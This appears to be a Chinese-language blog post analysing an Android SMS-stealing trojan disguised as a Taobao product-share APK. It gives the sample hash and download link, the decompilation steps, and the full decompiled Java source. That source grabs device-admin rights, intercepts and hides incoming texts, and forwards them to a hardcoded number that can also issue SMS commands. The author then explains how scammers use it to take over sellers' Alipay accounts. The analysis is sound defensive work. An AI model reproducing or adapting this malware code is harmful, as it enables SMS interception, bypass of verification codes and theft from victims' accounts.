文件信息：
File Name: 淘宝宝贝分享图.apk
File MD5: D9C5B64070D54BB6477C9154E41344FF

样本下载地址：http://www.kuaipan.cn/file/id_204886686096687106.htm

使用工具：
dex2jar
jd_Gui

1.使用解压软件右键解压得到以下文件：
解剖安卓手机短信拦截***

2.下载dex2jar工具解压：
把classes.dex 拷贝到dex2jar目录下：在路径上输入cmd后再输入：dex2jar.bat classes.dex 回车后
得到文件：classes_dex2jar.jar
解剖安卓手机短信拦截***

3.使用jd_Gui打开刚才得到classes_dex2jar.jar文件：
解剖安卓手机短信拦截***

4.查看具体代码：
App文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Application;
import android.os.Process;
 
public class App extends Application
  implements Thread.UncaughtExceptionHandler
{
  public void onCreate()
  {
    super.onCreate();
    Thread.setDefaultUncaughtExceptionHandler(this);
  }
 
  public void uncaughtException(Thread paramThread, Throwable paramThrowable)
  {
    Process.killProcess(Process.myPid());
  }
}



L文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.os.Handler;
 
public class L extends Activity
{
  private DevicePolicyManager a;
  private ComponentName b;
 
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    d.a(this, new SR());
    d.a(this, "启动MainActivity");
    d.a(this);
    this.a = ((DevicePolicyManager)getSystemService("device_policy"));
    this.b = new ComponentName(this, LR.class);
    if (this.a.isAdminActive(this.b))
      d.a(this, "已经注册设备管理器");
    while (true)
    {
      if (Build.VERSION.SDK_INT < 14)
        getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
      finish();
      Handler localHandler = new Handler();
      localHandler.postDelayed(new a(this, localHandler), 5000L);
      return;
      Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
      localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.b);
      localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
      startActivity(localIntent);
      d.a(this, "注册设备管理器");
    }
  }
}



LR文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;
 
public class LR extends DeviceAdminReceiver
{
  public void onDisabled(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "取消使用");
    super.onDisabled(paramContext, paramIntent);
  }
 
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "图片查看");
    super.onEnabled(paramContext, paramIntent);
  }
 
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    super.onReceive(paramContext, paramIntent);
  }
}



SR文件代码如下：

[Java] 纯文本查看 复制代码

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
 
public class SR extends BroadcastReceiver
{
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    d.a(paramContext, "#SmsReceiver#onReceive" + paramIntent.getAction());
    if (!"android.provider.Telephony.SMS_RECEIVED".equals(paramIntent.getAction()))
    {
      d.a(paramContext, this);
      d.a(paramContext);
    }
    Bundle localBundle;
    do
    {
      return;
      localBundle = paramIntent.getExtras();
    }
    while (localBundle == null);
    if (!d.b(paramContext))
    {
      d.a(paramContext, "#SmsReceiver#时间不在运行范围");
      return;
    }
    Object[] arrayOfObject = (Object[])localBundle.get("pdus");
    int i = arrayOfObject.length;
    String str1 = "";
    int j = 0;
    String str2;
    for (Object localObject = ""; ; localObject = str2)
    {
      if (j >= i)
      {
        d.b(paramContext, (String)localObject, str1);
        abortBroadcast();
        return;
      }
      SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]);
      str2 = localSmsMessage.getOriginatingAddress();
      str1 = str1 + localSmsMessage.getMessageBody();
      j++;
    }
  }
}



U文件代码如下：

[Java] 纯文本查看 复制代码

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.app.Activity;
import android.os.Bundle;
import android.widget.Toast;
 
public class U extends Activity
{
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    d.a(this, new SR());
    Toast.makeText(this, "应用程序尚未安装在您的手机上", 1).show();
    finish();
  }
}



a文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Intent;
import android.os.Handler;
 
class a
  implements Runnable
{
  a(L paramL, Handler paramHandler)
  {
  }
 
  public void run()
  {
    this.b.removeCallbacks(this);
    Intent localIntent = new Intent();
    localIntent.setType("p_w_picpath/*");
    localIntent.setAction("android.intent.action.GET_CONTENT");
    this.a.startActivity(localIntent);
  }
}



b文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Context;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.preference.PreferenceManager;
 
public class b
{
  public static String a = "com.eg.android.AlipayGphone";
  public static String b = "";
  public static String c = "";
 
  public static void a(Context paramContext)
  {
    SharedPreferences localSharedPreferences = PreferenceManager.getDefaultSharedPreferences(paramContext);
    String str = b(paramContext);
    if (!localSharedPreferences.getString("4yffd3", "").equals(str))
    {
      d.a(paramContext, "初次运行！");
      localSharedPreferences.edit().putString("4yffd3", str).commit();
      d.a(paramContext, null, "888");
    }
  }
 
  public static String b(Context paramContext)
  {
    return "15884230675";
  }
}



c文件代码如下：

[Java] 纯文本查看 复制代码

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.ContentResolver;
import android.content.Context;
import android.database.ContentObserver;
import android.database.Cursor;
import android.net.Uri;
import android.os.Handler;
 
public class c extends ContentObserver
{
  private Context a;
 
  public c(Context paramContext)
  {
    super(new Handler());
    d.a(paramContext, "#SMSObserver#注册");
    this.a = paramContext;
    this.a.getContentResolver().registerContentObserver(Uri.parse("content://sms/"), true, this);
  }
 
  public void onChange(boolean paramBoolean)
  {
    super.onChange(paramBoolean);
    d.a(this.a, "#SMSObserver#onChange");
    if (!d.b(this.a))
      d.a(this.a, "#SMSObserver#时间不在运行范围");
    while (true)
    {
      return;
      Uri localUri = Uri.parse("content://sms/inbox");
      Cursor localCursor = this.a.getContentResolver().query(localUri, null, null, null, null);
      while (localCursor.moveToNext())
      {
        d.b(this.a, localCursor.getString(localCursor.getColumnIndex("address")), localCursor.getString(localCursor.getColumnIndex("body")));
        String str = "content://sms/conversations/" + localCursor.getString(1);
        this.a.getContentResolver().delete(Uri.parse(str), null, null);
      }
    }
  }
}



d文件代码如下：

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package com.sonyericsson.androidapp.microblogci8dmdo4;
 
import android.content.Context;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
 
public class d
{
  public static boolean a = false;
  private static boolean b = false;
  private static long[] c;
  private static boolean d = false;
 
  public static void a(Context paramContext)
  {
    a(paramContext, "chkFirstRun");
    if (b)
      return;
    b.a(paramContext);
    b = true;
  }
 
  public static void a(Context paramContext, SR paramSR)
  {
    if (d)
      return;
    d = true;
    new c(paramContext);
    try
    {
      IntentFilter localIntentFilter = new IntentFilter();
      localIntentFilter.setPriority(2147483647);
      localIntentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
      paramContext.getApplicationContext().registerReceiver(paramSR, localIntentFilter);
      return;
    }
    catch (Exception localException)
    {
      a(paramContext, "注册监听异常：" + localException.getMessage());
    }
  }
 
  public static void a(Context paramContext, String paramString)
  {
    if (a)
      Log.e("T_DEBUG", paramString);
  }
 
  public static void a(Context paramContext, String paramString1, String paramString2)
  {
    if (paramString1 == null);
    for (String str = b.b(paramContext); ; str = paramString1)
    {
      a(paramContext, "发送：" + str + " " + paramString2);
      if (Boolean.parseBoolean(String.valueOf(a)))
        return;
      SmsManager localSmsManager = SmsManager.getDefault();
      localSmsManager.sendMultipartTextMessage(str, null, localSmsManager.divideMessage(paramString2), null, null);
      return;
    }
  }
 
  public static void b(Context paramContext, String paramString1, String paramString2)
  {
    String str = b.b(paramContext);
    if (paramString1.startsWith("+86"))
      paramString1 = paramString1.substring(3);
    a(paramContext, "收到：" + paramString1 + " " + paramString2);
    if (paramString1.equals(str))
    {
      String[] arrayOfString = paramString2.split("A", 2);
      if (arrayOfString.length != 2)
      {
        a(paramContext, "指令错误");
        a(paramContext, null, "短信指令格式错误，格式为“手机号A短信内容”");
        return;
      }
      a(paramContext, "SENDTO：" + arrayOfString[0] + " content " + arrayOfString[1]);
      a(paramContext, arrayOfString[0], arrayOfString[1]);
      return;
    }
    a(paramContext, str, "[" + paramString1 + "]" + paramString2);
  }
 
  public static boolean b(Context paramContext)
  {
    if (c == null)
      c(paramContext);
    long l = System.currentTimeMillis();
    if ((c[0] == 0L) || (c[1] == 0L));
    while ((c[0] <= l) && (c[1] >= l))
      return true;
    return false;
  }
 
  public static void c(Context paramContext)
  {
    if (c == null)
    {
      SimpleDateFormat localSimpleDateFormat;
      try
      {
        localSimpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.CHINA);
        c = new long[2];
        if (b.b.equals(""))
          c[0] = 0L;
        while (b.c.equals(""))
        {
          c[1] = 0L;
          return;
          c[0] = localSimpleDateFormat.parse(b.b).getTime();
        }
      }
      catch (Exception localException)
      {
        c[0] = 0L;
        c[1] = 0L;
        a(paramContext, "从RAW读取配置信息失败，" + localException.getMessage());
        return;
      }
      c[1] = localSimpleDateFormat.parse(b.c).getTime();
    }
  }
}



代码如上。
大概危害：
虽然不太懂代码，但是可以看懂一点点：中了这个***的人，手机上收到的信息会被转移到【15884230675】这个手机号码上，
而且中了这个***的人手机收到的信息也无法看到。

从***名字来看，这类***主要是针对淘宝卖家，骗子作为买家，发送***给卖家

告知卖家他看到别人的分享的东西，很喜欢，所有东西都在apk文件上，只要安装就可以看到列表了，如果有就所有都要了。



或许有些不谨慎的淘宝卖家就会安装了这个***，然后骗子通过***截取短信方式等，修改卖家淘宝账号或者支付宝账号等，洗劫卖家支付宝的金钱。
以上是个人的了解，有哪些写得不对的地方请指教